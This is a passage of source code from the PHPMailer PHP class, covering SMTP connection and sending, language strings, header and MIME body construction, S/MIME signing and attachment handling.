            throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
        }

        // Attempt to send to all recipients
        foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
            foreach ($togroup as $to) {
                if (!$this->smtp->recipient($to[0])) {
                    $error = $this->smtp->getError();
                    $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
                    $isSent = false;
                } else {
                    $isSent = true;
                }
                $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
            }
        }

        // Only send the DATA command if we have viable recipients
        if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
            throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
        }
        if ($this->SMTPKeepAlive) {
            $this->smtp->reset();
        } else {
            $this->smtp->quit();
            $this->smtp->close();
        }
        //Create error message for any bad addresses
        if (count($bad_rcpt) > 0) {
            $errstr = '';
            foreach ($bad_rcpt as $bad) {
                $errstr .= $bad['to'] . ': ' . $bad['error'];
            }
            throw new phpmailerException(
                $this->lang('recipients_failed') . $errstr,
                self::STOP_CONTINUE
            );
        }
        return true;
    }

    /**
     * Initiate a connection to an SMTP server.
     * Returns false if the operation failed.
     * @param array $options An array of options compatible with stream_context_create()
     * @uses SMTP
     * @access public
     * @throws phpmailerException
     * @return boolean
     */
    public function smtpConnect($options = null)
    {
        if (is_null($this->smtp)) {
            $this->smtp = $this->getSMTPInstance();
        }

        //If no options are provided, use whatever is set in the instance
        if (is_null($options)) {
            $options = $this->SMTPOptions;
        }

        // Already connected?
        if ($this->smtp->connected()) {
            return true;
        }

        $this->smtp->setTimeout($this->Timeout);
        $this->smtp->setDebugLevel($this->SMTPDebug);
        $this->smtp->setDebugOutput($this->Debugoutput);
        $this->smtp->setVerp($this->do_verp);
        $hosts = explode(';', $this->Host);
        $lastexception = null;

        foreach ($hosts as $hostentry) {
            $hostinfo = array();
            if (!preg_match(
                '/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/',
                trim($hostentry),
                $hostinfo
            )) {
                // Not a valid host entry
                $this->edebug('Ignoring invalid host: ' . $hostentry);
                continue;
            }
            // $hostinfo[2]: optional ssl or tls prefix
            // $hostinfo[3]: the hostname
            // $hostinfo[4]: optional port number
            // The host string prefix can temporarily override the current setting for SMTPSecure
            // If it's not specified, the default value is used
            $prefix = '';
            $secure = $this->SMTPSecure;
            $tls = ($this->SMTPSecure == 'tls');
            if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
                $prefix = 'ssl://';
                $tls = false; // Can't have SSL and TLS at the same time
                $secure = 'ssl';
            } elseif ($hostinfo[2] == 'tls') {
                $tls = true;
                // tls doesn't use a prefix
                $secure = 'tls';
            }
            //Do we need the OpenSSL extension?
            $sslext = defined('OPENSSL_ALGO_SHA1');
            if ('tls' === $secure or 'ssl' === $secure) {
                //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
                if (!$sslext) {
                    throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
                }
            }
            $host = $hostinfo[3];
            $port = $this->Port;
            $tport = (integer)$hostinfo[4];
            if ($tport > 0 and $tport < 65536) {
                $port = $tport;
            }
            if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
                try {
                    if ($this->Helo) {
                        $hello = $this->Helo;
                    } else {
                        $hello = $this->serverHostname();
                    }
                    $this->smtp->hello($hello);
                    //Automatically enable TLS encryption if:
                    // * it's not disabled
                    // * we have openssl extension
                    // * we are not already using SSL
                    // * the server offers STARTTLS
                    if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
                        $tls = true;
                    }
                    if ($tls) {
                        if (!$this->smtp->startTLS()) {
                            throw new phpmailerException($this->lang('connect_host'));
                        }
                        // We must resend EHLO after TLS negotiation
                        $this->smtp->hello($hello);
                    }
                    if ($this->SMTPAuth) {
                        if (!$this->smtp->authenticate(
                            $this->Username,
                            $this->Password,
                            $this->AuthType,
                            $this->Realm,
                            $this->Workstation
                        )
                        ) {
                            throw new phpmailerException($this->lang('authenticate'));
                        }
                    }
                    return true;
                } catch (phpmailerException $exc) {
                    $lastexception = $exc;
                    $this->edebug($exc->getMessage());
                    // We must have connected, but then failed TLS or Auth, so close connection nicely
                    $this->smtp->quit();
                }
            }
        }
        // If we get here, all connection attempts have failed, so close connection hard
        $this->smtp->close();
        // As we've caught all exceptions, just report whatever the last one was
        if ($this->exceptions and !is_null($lastexception)) {
            throw $lastexception;
        }
        return false;
    }

    /**
     * Close the active SMTP session if one exists.
     * @return void
     */
    public function smtpClose()
    {
        if (is_a($this->smtp, 'SMTP')) {
            if ($this->smtp->connected()) {
                $this->smtp->quit();
                $this->smtp->close();
            }
        }
    }

    /**
     * Set the language for error messages.
     * Returns false if it cannot load the language file.
     * The default language is English.
     * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
     * @param string $lang_path Path to the language file directory, with trailing separator (slash)
     * @return boolean
     * @access public
     */
    public function setLanguage($langcode = 'en', $lang_path = '')
    {
        // Backwards compatibility for renamed language codes
        $renamed_langcodes = array(
            'br' => 'pt_br',
            'cz' => 'cs',
            'dk' => 'da',
            'no' => 'nb',
            'se' => 'sv',
            'sr' => 'rs'
        );

        if (isset($renamed_langcodes[$langcode])) {
            $langcode = $renamed_langcodes[$langcode];
        }

        // Define full set of translatable strings in English
        $PHPMAILER_LANG = array(
            'authenticate' => 'SMTP Error: Could not authenticate.',
            'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
            'data_not_accepted' => 'SMTP Error: data not accepted.',
            'empty_message' => 'Message body empty',
            'encoding' => 'Unknown encoding: ',
            'execute' => 'Could not execute: ',
            'file_access' => 'Could not access file: ',
            'file_open' => 'File Error: Could not open file: ',
            'from_failed' => 'The following From address failed: ',
            'instantiate' => 'Could not instantiate mail function.',
            'invalid_address' => 'Invalid address: ',
            'mailer_not_supported' => ' mailer is not supported.',
            'provide_address' => 'You must provide at least one recipient email address.',
            'recipients_failed' => 'SMTP Error: The following recipients failed: ',
            'signing' => 'Signing Error: ',
            'smtp_connect_failed' => 'SMTP connect() failed.',
            'smtp_error' => 'SMTP server error: ',
            'variable_set' => 'Cannot set or reset variable: ',
            'extension_missing' => 'Extension missing: '
        );
        if (empty($lang_path)) {
            // Calculate an absolute path so it can work if CWD is not here
            $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
        }
        //Validate $langcode
        if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/', $langcode)) {
            $langcode = 'en';
        }
        $foundlang = true;
        $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
        // There is no English translation file
        if ($langcode != 'en') {
            // Make sure language file path is readable
            if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {
                $foundlang = false;
            } else {
                // Overwrite language-specific strings.
                // This way we'll never have missing translation keys.
                $foundlang = include $lang_file;
            }
        }
        $this->language = $PHPMAILER_LANG;
        return (boolean)$foundlang; // Returns false if language not found
    }

    /**
     * Get the array of strings for the current language.
     * @return array
     */
    public function getTranslations()
    {
        return $this->language;
    }

    /**
     * Create recipient headers.
     * @access public
     * @param string $type
     * @param array $addr An array of recipient,
     * where each recipient is a 2-element indexed array with element 0 containing an address
     * and element 1 containing a name, like:
     * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
     * @return string
     */
    public function addrAppend($type, $addr)
    {
        $addresses = array();
        foreach ($addr as $address) {
            $addresses[] = $this->addrFormat($address);
        }
        return $type . ': ' . implode(', ', $addresses) . $this->LE;
    }

    /**
     * Format an address for use in a message header.
     * @access public
     * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
     *      like array('joe@example.com', 'Joe User')
     * @return string
     */
    public function addrFormat($addr)
    {
        if (empty($addr[1])) { // No name provided
            return $this->secureHeader($addr[0]);
        } else {
            return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
                $addr[0]
            ) . '>';
        }
    }

    /**
     * Word-wrap message.
     * For use with mailers that do not automatically perform wrapping
     * and for quoted-printable encoded messages.
     * Original written by philippe.
     * @param string $message The message to wrap
     * @param integer $length The line length to wrap to
     * @param boolean $qp_mode Whether to run in Quoted-Printable mode
     * @access public
     * @return string
     */
    public function wrapText($message, $length, $qp_mode = false)
    {
        if ($qp_mode) {
            $soft_break = sprintf(' =%s', $this->LE);
        } else {
            $soft_break = $this->LE;
        }
        // If utf-8 encoding is used, we will need to make sure we don't
        // split multibyte characters when we wrap
        $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
        $lelen = strlen($this->LE);
        $crlflen = strlen(self::CRLF);

        $message = $this->fixEOL($message);
        //Remove a trailing line break
        if (substr($message, -$lelen) == $this->LE) {
            $message = substr($message, 0, -$lelen);
        }

        //Split message into lines
        $lines = explode($this->LE, $message);
        //Message will be rebuilt in here
        $message = '';
        foreach ($lines as $line) {
            $words = explode(' ', $line);
            $buf = '';
            $firstword = true;
            foreach ($words as $word) {
                if ($qp_mode and (strlen($word) > $length)) {
                    $space_left = $length - strlen($buf) - $crlflen;
                    if (!$firstword) {
                        if ($space_left > 20) {
                            $len = $space_left;
                            if ($is_utf8) {
                                $len = $this->utf8CharBoundary($word, $len);
                            } elseif (substr($word, $len - 1, 1) == '=') {
                                $len--;
                            } elseif (substr($word, $len - 2, 1) == '=') {
                                $len -= 2;
                            }
                            $part = substr($word, 0, $len);
                            $word = substr($word, $len);
                            $buf .= ' ' . $part;
                            $message .= $buf . sprintf('=%s', self::CRLF);
                        } else {
                            $message .= $buf . $soft_break;
                        }
                        $buf = '';
                    }
                    while (strlen($word) > 0) {
                        if ($length <= 0) {
                            break;
                        }
                        $len = $length;
                        if ($is_utf8) {
                            $len = $this->utf8CharBoundary($word, $len);
                        } elseif (substr($word, $len - 1, 1) == '=') {
                            $len--;
                        } elseif (substr($word, $len - 2, 1) == '=') {
                            $len -= 2;
                        }
                        $part = substr($word, 0, $len);
                        $word = substr($word, $len);

                        if (strlen($word) > 0) {
                            $message .= $part . sprintf('=%s', self::CRLF);
                        } else {
                            $buf = $part;
                        }
                    }
                } else {
                    $buf_o = $buf;
                    if (!$firstword) {
                        $buf .= ' ';
                    }
                    $buf .= $word;

                    if (strlen($buf) > $length and $buf_o != '') {
                        $message .= $buf_o . $soft_break;
                        $buf = $word;
                    }
                }
                $firstword = false;
            }
            $message .= $buf . self::CRLF;
        }

        return $message;
    }

    /**
     * Find the last character boundary prior to $maxLength in a utf-8
     * quoted-printable encoded string.
     * Original written by Colin Brown.
     * @access public
     * @param string $encodedText utf-8 QP text
     * @param integer $maxLength Find the last character boundary prior to this length
     * @return integer
     */
    public function utf8CharBoundary($encodedText, $maxLength)
    {
        $foundSplitPos = false;
        $lookBack = 3;
        while (!$foundSplitPos) {
            $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
            $encodedCharPos = strpos($lastChunk, '=');
            if (false !== $encodedCharPos) {
                // Found start of encoded character byte within $lookBack block.
                // Check the encoded byte value (the 2 chars after the '=')
                $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
                $dec = hexdec($hex);
                if ($dec < 128) {
                    // Single byte character.
                    // If the encoded char was found at pos 0, it will fit
                    // otherwise reduce maxLength to start of the encoded char
                    if ($encodedCharPos > 0) {
                        $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    }
                    $foundSplitPos = true;
                } elseif ($dec >= 192) {
                    // First byte of a multi byte character
                    // Reduce maxLength to split at start of character
                    $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    $foundSplitPos = true;
                } elseif ($dec < 192) {
                    // Middle byte of a multi byte character, look further back
                    $lookBack += 3;
                }
            } else {
                // No encoded character found
                $foundSplitPos = true;
            }
        }
        return $maxLength;
    }

    /**
     * Apply word wrapping to the message body.
     * Wraps the message body to the number of chars set in the WordWrap property.
     * You should only do this to plain-text bodies as wrapping HTML tags may break them.
     * This is called automatically by createBody(), so you don't need to call it yourself.
     * @access public
     * @return void
     */
    public function setWordWrap()
    {
        if ($this->WordWrap < 1) {
            return;
        }

        switch ($this->message_type) {
            case 'alt':
            case 'alt_inline':
            case 'alt_attach':
            case 'alt_inline_attach':
                $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
                break;
            default:
                $this->Body = $this->wrapText($this->Body, $this->WordWrap);
                break;
        }
    }

    /**
     * Assemble message headers.
     * @access public
     * @return string The assembled headers
     */
    public function createHeader()
    {
        $result = '';

        $result .= $this->headerLine('Date', $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate);

        // To be created automatically by mail()
        if ($this->SingleTo) {
            if ($this->Mailer != 'mail') {
                foreach ($this->to as $toaddr) {
                    $this->SingleToArray[] = $this->addrFormat($toaddr);
                }
            }
        } else {
            if (count($this->to) > 0) {
                if ($this->Mailer != 'mail') {
                    $result .= $this->addrAppend('To', $this->to);
                }
            } elseif (count($this->cc) == 0) {
                $result .= $this->headerLine('To', 'undisclosed-recipients:;');
            }
        }

        $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));

        // sendmail and mail() extract Cc from the header before sending
        if (count($this->cc) > 0) {
            $result .= $this->addrAppend('Cc', $this->cc);
        }

        // sendmail and mail() extract Bcc from the header before sending
        if ((
                $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
            )
            and count($this->bcc) > 0
        ) {
            $result .= $this->addrAppend('Bcc', $this->bcc);
        }

        if (count($this->ReplyTo) > 0) {
            $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
        }

        // mail() sets the subject itself
        if ($this->Mailer != 'mail') {
            $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
        }

        // Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4
        // https://tools.ietf.org/html/rfc5322#section-3.6.4
        if ('' != $this->MessageID and preg_match('/^<.*@.*>$/', $this->MessageID)) {
            $this->lastMessageID = $this->MessageID;
        } else {
            $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
        }
        $result .= $this->headerLine('Message-ID', $this->lastMessageID);
        if (!is_null($this->Priority)) {
            $result .= $this->headerLine('X-Priority', $this->Priority);
        }
        if ($this->XMailer == '') {
            $result .= $this->headerLine(
                'X-Mailer',
                'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer)'
            );
        } else {
            $myXmailer = trim($this->XMailer);
            if ($myXmailer) {
                $result .= $this->headerLine('X-Mailer', $myXmailer);
            }
        }

        if ($this->ConfirmReadingTo != '') {
            $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
        }

        // Add custom headers
        foreach ($this->CustomHeader as $header) {
            $result .= $this->headerLine(
                trim($header[0]),
                $this->encodeHeader(trim($header[1]))
            );
        }
        if (!$this->sign_key_file) {
            $result .= $this->headerLine('MIME-Version', '1.0');
            $result .= $this->getMailMIME();
        }

        return $result;
    }

    /**
     * Get the message MIME type headers.
     * @access public
     * @return string
     */
    public function getMailMIME()
    {
        $result = '';
        $ismultipart = true;
        switch ($this->message_type) {
            case 'inline':
                $result .= $this->headerLine('Content-Type', 'multipart/related;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'attach':
            case 'inline_attach':
            case 'alt_attach':
            case 'alt_inline_attach':
                $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'alt':
            case 'alt_inline':
                $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            default:
                // Catches case 'plain': and case '':
                $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
                $ismultipart = false;
                break;
        }
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($this->Encoding != '7bit') {
            // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
            if ($ismultipart) {
                if ($this->Encoding == '8bit') {
                    $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
                }
                // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
            } else {
                $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
            }
        }

        if ($this->Mailer != 'mail') {
            $result .= $this->LE;
        }

        return $result;
    }

    /**
     * Returns the whole MIME message.
     * Includes complete headers and body.
     * Only valid post preSend().
     * @see PHPMailer::preSend()
     * @access public
     * @return string
     */
    public function getSentMIMEMessage()
    {
        return rtrim($this->MIMEHeader . $this->mailHeader, "\n\r") . self::CRLF . self::CRLF . $this->MIMEBody;
    }

    /**
     * Create unique ID
     * @return string
     */
    protected function generateId() {
        return md5(uniqid(time()));
    }

    /**
     * Assemble the message body.
     * Returns an empty string on failure.
     * @access public
     * @throws phpmailerException
     * @return string The assembled message body
     */
    public function createBody()
    {
        $body = '';
        //Create unique IDs and preset boundaries
        $this->uniqueid = $this->generateId();
        $this->boundary[1] = 'b1_' . $this->uniqueid;
        $this->boundary[2] = 'b2_' . $this->uniqueid;
        $this->boundary[3] = 'b3_' . $this->uniqueid;

        if ($this->sign_key_file) {
            $body .= $this->getMailMIME() . $this->LE;
        }

        $this->setWordWrap();

        $bodyEncoding = $this->Encoding;
        $bodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
            $bodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $bodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the body part only
        if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
            $bodyEncoding = 'quoted-printable';
        }

        $altBodyEncoding = $this->Encoding;
        $altBodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
            $altBodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $altBodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the alt body part only
        if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
            $altBodyEncoding = 'quoted-printable';
        }
        //Use this as a preamble in all multipart message types
        $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
        switch ($this->message_type) {
            case 'inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[1]);
                break;
            case 'attach':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                if (!empty($this->Ical)) {
                    $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
                    $body .= $this->encodeString($this->Ical, $this->Encoding);
                    $body .= $this->LE . $this->LE;
                }
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt_inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[2]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[3]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            default:
                // Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types
                //Reset the `Encoding` property in case we changed it for line length reasons
                $this->Encoding = $bodyEncoding;
                $body .= $this->encodeString($this->Body, $this->Encoding);
                break;
        }

        if ($this->isError()) {
            $body = '';
        } elseif ($this->sign_key_file) {
            try {
                if (!defined('PKCS7_TEXT')) {
                    throw new phpmailerException($this->lang('extension_missing') . 'openssl');
                }
                // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
                $file = tempnam(sys_get_temp_dir(), 'mail');
                if (false === file_put_contents($file, $body)) {
                    throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
                }
                $signed = tempnam(sys_get_temp_dir(), 'signed');
                //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
                if (empty($this->sign_extracerts_file)) {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null
                    );
                } else {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null,
                        PKCS7_DETACHED,
                        $this->sign_extracerts_file
                    );
                }
                if ($sign) {
                    @unlink($file);
                    $body = file_get_contents($signed);
                    @unlink($signed);
                    //The message returned by openssl contains both headers and body, so need to split them up
                    $parts = explode("\n\n", $body, 2);
                    $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
                    $body = $parts[1];
                } else {
                    @unlink($file);
                    @unlink($signed);
                    throw new phpmailerException($this->lang('signing') . openssl_error_string());
                }
            } catch (phpmailerException $exc) {
                $body = '';
                if ($this->exceptions) {
                    throw $exc;
                }
            }
        }
        return $body;
    }

    /**
     * Return the start of a message boundary.
     * @access protected
     * @param string $boundary
     * @param string $charSet
     * @param string $contentType
     * @param string $encoding
     * @return string
     */
    protected function getBoundary($boundary, $charSet, $contentType, $encoding)
    {
        $result = '';
        if ($charSet == '') {
            $charSet = $this->CharSet;
        }
        if ($contentType == '') {
            $contentType = $this->ContentType;
        }
        if ($encoding == '') {
            $encoding = $this->Encoding;
        }
        $result .= $this->textLine('--' . $boundary);
        $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
        $result .= $this->LE;
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($encoding != '7bit') {
            $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
        }
        $result .= $this->LE;

        return $result;
    }

    /**
     * Return the end of a message boundary.
     * @access protected
     * @param string $boundary
     * @return string
     */
    protected function endBoundary($boundary)
    {
        return $this->LE . '--' . $boundary . '--' . $this->LE;
    }

    /**
     * Set the message type.
     * PHPMailer only supports some preset message types, not arbitrary MIME structures.
     * @access protected
     * @return void
     */
    protected function setMessageType()
    {
        $type = array();
        if ($this->alternativeExists()) {
            $type[] = 'alt';
        }
        if ($this->inlineImageExists()) {
            $type[] = 'inline';
        }
        if ($this->attachmentExists()) {
            $type[] = 'attach';
        }
        $this->message_type = implode('_', $type);
        if ($this->message_type == '') {
            //The 'plain' message_type refers to the message having a single body element, not that it is plain-text
            $this->message_type = 'plain';
        }
    }

    /**
     * Format a header line.
     * @access public
     * @param string $name
     * @param string $value
     * @return string
     */
    public function headerLine($name, $value)
    {
        return $name . ': ' . $value . $this->LE;
    }

    /**
     * Return a formatted mail line.
     * @access public
     * @param string $value
     * @return string
     */
    public function textLine($value)
    {
        return $value . $this->LE;
    }

    /**
     * Add an attachment from a path on the filesystem.
     * Never use a user-supplied path to a file!
     * Returns false if the file could not be found or read.
     * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.
     * If you need to do that, fetch the resource yourself and pass it in via a local file or string.
     * @param string $path Path to the attachment.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @throws phpmailerException
     * @return boolean
     */
    public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
    {
        try {
            if (!self::isPermittedPath($path) or !@is_file($path)) {
                throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
            }

            // If a MIME type is not specified, try to work it out from the file name
            if ($type == '') {
                $type = self::filenameToType($path);
            }

            $filename = basename($path);
            if ($name == '') {
                $name = $filename;
            }

            $this->attachment[] = array(
                0 => $path,
                1 => $filename,
                2 => $name,
                3 => $encoding,
                4 => $type,
                5 => false, // isStringAttachment
                6 => $disposition,
                7 => 0
            );

        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
        return true;
    }

    /**
     * Return the array of attachments.
     * @return array
     */
    public function getAttachments()
    {
        return $this->attachment;
    }

    /**
     * Attach all file, string, and binary attachments to the message.
     * Returns an empty string on failure.
     * @access protected
     * @param string $disposition_type
     * @param string $boundary
     * @return string
     */
    protected function attachAll($disposition_type, $boundary)
    {
        // Return text of body
        $mime = array();
        $cidUniq = array();
        $incl = array();

        // Add all attachments
        foreach ($this->attachment as $attachment) {
            // Check if it is a valid disposition_filter
            if ($attachment[6] == $disposition_type) {
                // Check for string attachment
                $string = '';
                $path = '';
                $bString = $attachment[5];
                if ($bString) {
                    $string = $attachment[0];
                } else {
                    $path = $attachment[0];
                }

                $inclhash = md5(serialize($attachment));
                if (in_array($inclhash, $incl)) {
                    continue;
                }
                $incl[] = $inclhash;
                $name = $attachment[2];
                $encoding = $attachment[3];
                $type = $attachment[4];
                $disposition = $attachment[6];
                $cid = $attachment[7];
                if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
                    continue;
                }
                $cidUniq[$cid] = true;

                $mime[] = sprintf('--%s%s', $boundary, $this->LE);
                //Only include a filename property if we have one
                if (!empty($name)) {
                    $mime[] = sprintf(
                        'Content-Type: %s; name="%s"%s',
                        $type,
                        $this->encodeHeader($this->secureHeader($name)),
                        $this->LE
                    );
                } else {
                    $mime[] = sprintf(
                        'Content-Type: %s%s',
                        $type,
                        $this->LE
                    );
                }
                // RFC1341 part 5 says 7bit is assumed if not specified
                if ($encoding != '7bit') {
                    $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
                }

                if ($disposition == 'inline') {
                    $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
                }

                // If a filename contains any of these chars, it should be quoted,
                // but not otherwise: RFC2183 & RFC2045 5.1
                // Fixes a warning in IETF's msglint MIME checker
